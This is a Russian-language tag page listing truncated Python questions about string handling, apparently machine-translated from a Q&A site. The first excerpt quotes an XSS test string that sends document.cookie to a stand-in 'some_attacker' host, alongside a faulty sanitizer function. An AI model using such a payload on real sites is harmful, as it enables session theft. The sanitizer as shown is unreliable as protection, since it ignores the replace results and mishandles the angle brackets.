Tag: строка

Почему функция не работает? Попытка заменить слова в строке

Я пытаюсь заменить некоторые ключевые слова в строке. Вот моя функция: def clean_code(input): input.replace('<script>', " ") input.replace('</script>', " ") input.replace('<a href>', " ") input.replace('</a>', " ") input.replace('>', "&gt;") input.replace('>', "&lt;") return input и вот мой другой код и строка: string1 = "This blog is STUPID! >\n" \ "<script>document.location='http://some_attacker/cookie.cgi?"\ " +document.cookie </script>" print '\nstring1 cleaned of […]

Python эквивалент Ruby's StringScanner?

Существует ли класс python, эквивалентный классу Ruby StringScanner ? Я мог бы взломать что-то вместе, но я не хочу изобретать велосипед, если это уже существует.

Получение даты из сложной строки в Python

Я пытаюсь получить одно datetime из двух строк, используя datetime.strptime. Время довольно легко (например, 8:53 вечера), поэтому я могу сделать что-то вроде: theTime = datetime.strptime(givenTime, "%I:%M%p") Однако строка имеет не только дату, но и ссылку в формате, аналогичном http://site.com/?year=2011&month=10&day=5&hour=11 . Я знаю, что могу сделать что-то вроде: theDate = datetime.strptime(givenURL, "http://site.com/?year=%Y&month=%m&day=%d&hour=%H") но я не хочу […]

Копирование с числовой строкой

Модуль numpy – отличный инструмент для эффективного хранения памяти объектов python, среди которых строки. Для строк ANSI в массивах numpy используется только 1 байт на символ. Однако есть одно неудобство. Тип хранимых объектов – это не больше string а bytes , что означает, что их необходимо декодировать для дальнейшего использования в большинстве случаев, что, в […]

Печатать исходный код веб-страницы в python

Я хочу напечатать исходный код веб-страницы, но команда python print просто печатает пустое пространство, и я думаю, что это из-за большого размера. Есть ли способ распечатать исходный код страницы в оболочке или в списке в файле? Я пробовал печатать в файле, но эта ошибка произошла: UnicodeEncodeError: 'charmap' codec can't encode character '\u06cc' in position 11826: […]

Поиск столбца Pandas для подстроки в другом столбце

У меня есть пример .csv, импортированный как df.csv, следующим образом: Ethnicity, Description 0 French, Irish Dance Company 1 Italian, Moroccan/Algerian 2 Danish, Company in Netherlands 3 Dutch, French 4 English, EnglishFrench 5 Irish, Irish-American Я хотел бы проверить pandas test1['Description'] для строк в test1['Ethnicity'] . Это должно возвращать строки 0, 3, 4 и 5, поскольку […]

регулярное выражение python, вставляющее пробел между пунктуацией и буквами

Я предполагаю, что лучший способ сделать это – с регулярным выражением, но я не знаю, как это сделать. Я пытаюсь разобрать строку и помещать пробел между буквами и пунктуацией. Я хочу держать знаки препинания вместе. В качестве примера, если у меня есть строка "да!!!" Я хочу в итоге "да", "!!!". Если у меня есть строка […]

для подсчета появления одной строки в другой строке в python

Если это первая строка: ABCD если это вторая строка: ABCD is ABCD Я хочу подсчитать появление первой строки во второй строке и это тоже в python. Как я могу это сделать? Я новичок в python, поэтому сталкиваюсь с некоторыми проблемами. Может ли кто-нибудь сказать мне решение или предоставить код для него.

среднее количество символов на слово в списке

Я новичок в python, и мне нужно рассчитать среднее количество символов в одном слове в списке используя эти определения и вспомогательную функцию clean_up . токен – это str, которую вы получаете от вызова метода string, разделенного на строку файла. слово – это непустой токен из файла, который не полностью состоит из знаков препинания. найдите «слова» […]

Новый для Python, заменяющий символы в строке

Я пытаюсь манипулировать строкой. После извлечения всех гласных из строки я хочу заменить все «v» на «b» и все «b» на «v» из той же строки (ig «accveioub» будет сначала ccvb, затем ccbv). У меня проблемы с заменой символов. Я в конечном итоге получаю ccvv, и я решил, что получаю это на основе этого кода. […]

Python - лучший язык программирования в мире.